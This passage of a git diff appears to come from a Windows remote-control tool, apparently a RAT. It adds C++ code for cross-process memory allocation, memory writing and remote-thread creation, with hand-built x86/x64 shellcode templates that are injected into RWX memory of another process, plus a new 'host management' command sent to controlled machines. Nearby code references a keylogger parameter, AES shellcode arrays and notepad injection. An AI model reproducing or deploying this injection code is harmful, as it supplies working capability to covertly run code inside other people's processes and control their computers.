_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00) + _(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8) + _(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8) + _(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3) + } + #undef _ + } + + class X64Call + { + template + struct StringHelper : detail::GCBase + { + StringHelper(const char_t* v) : name(0) { + name = new _UNICODE_STRING_T; + name->Buffer = (DWORD64)v; + name->Length = (WORD)tcslen(v) * sizeof(char_t); + name->MaximumLength = name->Length; + } + virtual void gc() { delete name; } + virtual DWORD64 toDWORD64() { return (DWORD64)name; } + private: + _UNICODE_STRING_T* name; + }; + template + DWORD64 ToDWORD64(T v, detail::GCHelper*) { + return DWORD64(v); + } + template<> DWORD64 ToDWORD64(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper(v)); } + template<> DWORD64 ToDWORD64(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper(v)); } + template<> DWORD64 ToDWORD64(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper(v)); } + template<> DWORD64 ToDWORD64(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper(v)); } + + private: + DWORD64 func; + + public: + X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {} + X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {} + + operator DWORD64() { return func; } + + DWORD64 operator()() { return func && x64Call(func, 0); } + + #define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper) + #define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) , + #define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) + #define CALLERS(n) template DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); } + CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10) + CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20) + #undef CALLERS + #undef END_TO_DWORD64_DECL + #undef TO_DWORD64_DECL + #undef __TO_DWORD64_DECL + }; + + inline VOID WINAPI SetLastError64(DWORD64 status) + { + typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status); + typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status); + + static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError"); + static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error"); + + if (RtlNtStatusToDosError && RtlSetLastWin32Error) + RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status)); + } + + inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength) + { + static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory"); + if (!NtQueryVirtualMemory) return 0; + + DWORD64 ret = 0; + DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret); + if (!status) return (SIZE_T)ret; + + SetLastError64(ret); + return FALSE; + } + + inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) + { + static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory"); + if (!NtAllocateVirtualMemory) return 0; + + DWORD64 tmpAddr = lpAddress; + DWORD64 tmpSize = dwSize; + DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect); + if (!ret) return tmpAddr; + + SetLastError64(ret); + return FALSE; + } + + inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType) + { + static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory"); + if (!NtFreeVirtualMemory) return 0; + + DWORD64 tmpAddr = lpAddress; + DWORD64 tmpSize = dwSize; + DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType); + if (!ret) return TRUE; + + SetLastError64(ret); + return FALSE; + } + + inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect) + { + static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory"); + if (!NtProtectVirtualMemory) return 0; + + DWORD64 tmpAddr = lpAddress; + DWORD64 tmpSize = dwSize; + DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect); + if (!ret) return TRUE; + + SetLastError64(ret); + return FALSE; + } + + inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead) + { + static X64Call NtReadVirtualMemory("NtReadVirtualMemory"); + if (!NtReadVirtualMemory) return 0; + + DWORD64 read = 0; + DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read); + if (!ret) { + if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read; + return TRUE; + } + + SetLastError64(ret); + return FALSE; + } + + inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten) + { + static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory"); + if (!NtWriteVirtualMemory) return 0; + + DWORD64 written = 0; + DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written); + if (!ret) { + if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written; + return TRUE; + } + + SetLastError64(ret); + return FALSE; + } + + inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + SIZE_T dwStackSize, + DWORD64 lpStartAddress, + DWORD64 lpParameter, + DWORD dwCreationFlags, + LPDWORD lpThreadId) + { + static X64Call RtlCreateUserThread("RtlCreateUserThread"); + if (!RtlCreateUserThread) return 0; + + BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED; + ULONG stackSize = dwStackSize; + DWORD64 handle = 0; + DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL); + if (!status) return (HANDLE)handle; + + SetLastError64(status); + return NULL; + } + + #endif + + class ProcessWriter + { + public: + template + ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE) + : _autoRelease(TRUE) + , _hProcess(hProcess) + , _dw64Address(0) + , _dwSize(dwSize) + { + if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect))) + return; + SIZE_T written = 0; + if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) { + VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT); + _dw64Address = 0; + } + } + ~ProcessWriter() { + if (_dw64Address && _autoRelease) + VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT); + } + void SetDontRelese() { + _autoRelease = FALSE; + } + operator DWORD64() { + return (DWORD64)_dw64Address; + } + #ifdef _WIN64 + template + operator T*() { + return (T*)_dw64Address; + } + #endif + + private: + BOOL _autoRelease; + HANDLE _hProcess; + #ifdef _WIN64 + LPVOID _dw64Address; + #else + DWORD64 _dw64Address; + #endif + SIZE_T _dwSize; + }; + + namespace { + + std::string makeShellCode(int cnt, bool is64Bit) + { + if(is64Bit) { + // see X64Delegator_disassemble for details + static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83, + 0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4, + 0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4, + 0x20, 0x5b, 0xc3 }; + + std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64)); + if(!cnt) return templ_x64; + + templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16; + if(cnt >= 1) + templ_x64[16] = 0x3b; + + if(cnt < 3) { + if(cnt >= 1) { + templ_x64.insert(22, "\x48\x8b\x49\x10", 4); + } + if(cnt >= 2) { + templ_x64.insert(22, "\x48\x8b\x51\x18", 4); + } + } + else { + templ_x64[20] = 0x49; + templ_x64[21] = 0x10; + templ_x64.insert(22, "\x48\x8B\x53\x18", 4); + templ_x64.insert(22, "\x4c\x8b\x43\x20", 4); + templ_x64.insert(22, "\x48\x8b\x43\x08", 4); + if(cnt >= 4) { + templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4); + } + if(cnt >= 5) { + templ_x64.insert(18, "\x4c\x8B\x53\x30", 4); + templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5); + } + if(cnt >= 6) { + templ_x64[21] = 0x38; + templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4); + templ_x64[50] = 0x28; + templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5); + } + // TODO + } + return templ_x64; + } + // see X86Delegator_disassemble for details + static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff, + 0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc, + 0x8b, 0xe5, 0x5d, 0xc3 }; + std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86)); + // je distance + templ_x86[9] += cnt * 7; + templ_x86[16] += ((1 - cnt) % 3 + 3) % 3; + int pos = 13; + for(int i = 0; i < cnt; ++i) { + switch(i % 3) { + case 0: + templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7); + break; + case 1: + templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7); + break; + case 2: + templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7); + break; + } + templ_x86[pos + 2] = (cnt - i) << 2; + pos += 7; + } + switch(cnt % 3) { + case 0: + templ_x86[pos + 1] = 0x08; + break; + case 1: + templ_x86[pos + 1] = 0x02; + break; + case 2: + templ_x86[pos + 1] = 0x11; + break; + } + return templ_x86; + } + + template + const std::string& shellCode() { + static std::string kCode = makeShellCode(argCnt, is64Bit); + return kCode; + } + + } + + class YAPICall + { + template + DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) { + return DWORD64(v); + } + template + struct StringHelper : detail::GCBase + { + StringHelper(HANDLE hProcess, const char_t* v) : name(0) { + name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t)); + } + virtual void gc() { delete name; } + virtual DWORD64 toDWORD64() { return (DWORD64)*name; } + private: + ProcessWriter* name; + }; + template<> DWORD64 ToDWORD64(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper(hProcess, v)); } + template<> DWORD64 ToDWORD64(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper(hProcess, v)); } + template<> DWORD64 ToDWORD64(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper(hProcess, v)); } + template<> DWORD64 ToDWORD64(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper(hProcess, v)); } + + private: + HANDLE _hProcess; + ProcessWriter* _sc; + DWORD64 func; + BOOL _dw64Ret; + DWORD _dwTimeout; + BOOL _is64Bit; + + template + bool initShellCoder(ProcessWriter*& sc) { + if(sc) return false; + const std::string& shellcode = _is64Bit ? shellCode() : shellCode(); + sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE); + return true; + } + + template + DWORD64 call(const std::vector& param) { + ProcessWriter p(_hProcess, ¶m[0], sizeof(T) * (param.size())); + if (!p) return -1; + HANDLE hThread = 0; + if (_is64Bit) + hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL); + else { +#ifdef _WIN64 + // see X64toX86_disassemble for details + static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48, + 0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24, + 0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, + 0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 }; + std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86)); + ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE); + sc->SetDontRelese(); + hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL); +#else + hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL); +#endif + } + if (!hThread) return -1; + if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) { + _sc->SetDontRelese(); + CloseHandle(hThread); + return -1; + } + if (!_is64Bit || !_dw64Ret) { + DWORD ret = 0; + GetExitCodeThread(hThread, &ret); + CloseHandle(hThread); + return ret; + } + DWORD64 ret = 0; + CloseHandle(hThread); + ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL); + return ret; + } + + public: + YAPICall(HANDLE hProcess, const char* funcName) + : _hProcess(hProcess) + , _sc(0) + , func(GetProcAddress64(hProcess, GetNtDll64(), funcName)) + , _dw64Ret(FALSE) + , _dwTimeout(INFINITE) + , _is64Bit(detail::is64BitOS) + { + } + YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName) + : _hProcess(hProcess) + , _sc(0) + , func(GetProcAddress64(hProcess, moudle, funcName)) + , _dw64Ret(FALSE) + , _dwTimeout(INFINITE) + , _is64Bit(detail::is64BitOS) + { + } + YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName) + : _hProcess(hProcess) + , _sc(0) + , func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName)) + , _dw64Ret(FALSE) + , _dwTimeout(INFINITE) + , _is64Bit(detail::is64BitOS) + { + if(!func) { + func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName); + _is64Bit = FALSE; + } + } + + ~YAPICall() { if (_sc) delete _sc; } + + operator DWORD64() { return func; } + + YAPICall& Dw64() { _dw64Ret = TRUE; return *this; } + YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; } + + #define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper); + #define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper); + + #define CALLERSX(n) \ + DWORD64 operator()(DECL_PARAMS_LIST(n)) {\ + bool b = initShellCoder(_sc);\ + if(!b || !func || !_sc || !*_sc) return -1;\ + detail::GCHelper helper;\ + if(_is64Bit) {\ + std::vector param(n + 2, 0);\ + param[0] = _dw64Ret;\ + param[1] = func;\ + REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\ + return call(param);\ + }\ + std::vector param(n + 1, 0);\ + param[0] = (DWORD)func;\ + REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\ + return call(param);\ + } + #define CALLERS(n) template CALLERSX(n) + CALLERSX( 0) + CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10) + CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/ + #undef CALLERSX + #undef CALLERS + #undef TO_DWORD_ARRAY_DECL + #undef TO_DWORD64_ARRAY_DECL + }; + + #define YAPI(h, m, f) YAPICall(h, m, #f) +} diff --git a/common/commands.h b/common/commands.h index bbc0c36..1e9efd0 100644 --- a/common/commands.h +++ b/common/commands.h @@ -321,6 +321,7 @@ enum { TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动 COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天) + COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框 TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 5d90b71..1443726 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 35ed543..3e27f1a 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -995,6 +995,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings) ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage) ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat) + ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager) ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) @@ -1424,6 +1425,7 @@ VOID CMy2015RemoteDlg::CreateToolBar() m_ToolBar.SetButtonText(15, _T("MCP")); m_ToolBar.SetButtonText(16, _TR("连接管理")); m_ToolBar.SetButtonText(17, _TR("远程交谈")); + m_ToolBar.SetButtonText(18, _TR("主机管理")); // ============================================================ // UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮 @@ -4504,6 +4506,12 @@ void CMy2015RemoteDlg::OnChat() BYTE bToken = COMMAND_CHAT; //向被控端发送开始远程交谈(双向聊天) SendSelectedCommand(&bToken, sizeof(BYTE)); } +void CMy2015RemoteDlg::OnMachineManager() +{ + BYTE bToken = COMMAND_MACHINE_MANAGE; //向被控端发送打开主机管理对话框命令 + SendSelectedCommand(&bToken, sizeof(BYTE)); +} + // 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup, diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 3d7b024..2939da4 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -517,6 +517,7 @@ public: std::map m_ActiveWndW; afx_msg void OnOnlineMessage(); afx_msg void OnChat(); + afx_msg void OnMachineManager(); afx_msg void OnOnlineDelete(); afx_msg void OnOnlineUpdate(); afx_msg void OnAbout(); diff --git a/server/2015Remote/lang/de_DE.ini b/server/2015Remote/lang/de_DE.ini index 6afaf42..51bb56f 100644 --- a/server/2015Remote/lang/de_DE.ini +++ b/server/2015Remote/lang/de_DE.ini @@ -409,6 +409,7 @@ Rar ³·ÏúÊÚȨ=Autorisierung widerrufen עÈë¼Çʱ¾=Notepad injizieren »úÆ÷¹ÜÀí=Maschinenverwaltung +Ö÷»ú¹ÜÀí=Maschinenverwaltung עÏú=Abmelden ¹ػú=Herunterfahren ÖØÆô=Neustart diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 7732707..c5e40e7 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -410,6 +410,7 @@ Rar ³·ÏúÊÚȨ=Revoke Auth עÈë¼Çʱ¾=Inject Notepad »úÆ÷¹ÜÀí=Machine Mgmt +Ö÷»ú¹ÜÀí=Host Mgmt עÏú=Log Off ¹ػú=Shutdown ÖØÆô=Restart diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 4c3d2cb..e4705b9 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -410,6 +410,7 @@ Rar ³·ÏúÊÚȨ=³·äNÊڙà עÈë¼Çʱ¾=עÈëӛʱ¾ »úÆ÷¹ÜÀí=™CÆ÷¹ÜÀí +Ö÷»ú¹ÜÀí=Ö÷™C¹ÜÀí עÏú=µdzö ¹ػú=êP™C ÖØÆô=ÖØÐ†¢„Ó diff --git a/server/2015Remote/res/ToolBar_Main.bmp b/server/2015Remote/res/ToolBar_Main.bmp index b7fc665..573c93c 100644 Binary files a/server/2015Remote/res/ToolBar_Main.bmp and b/server/2015Remote/res/ToolBar_Main.bmp differ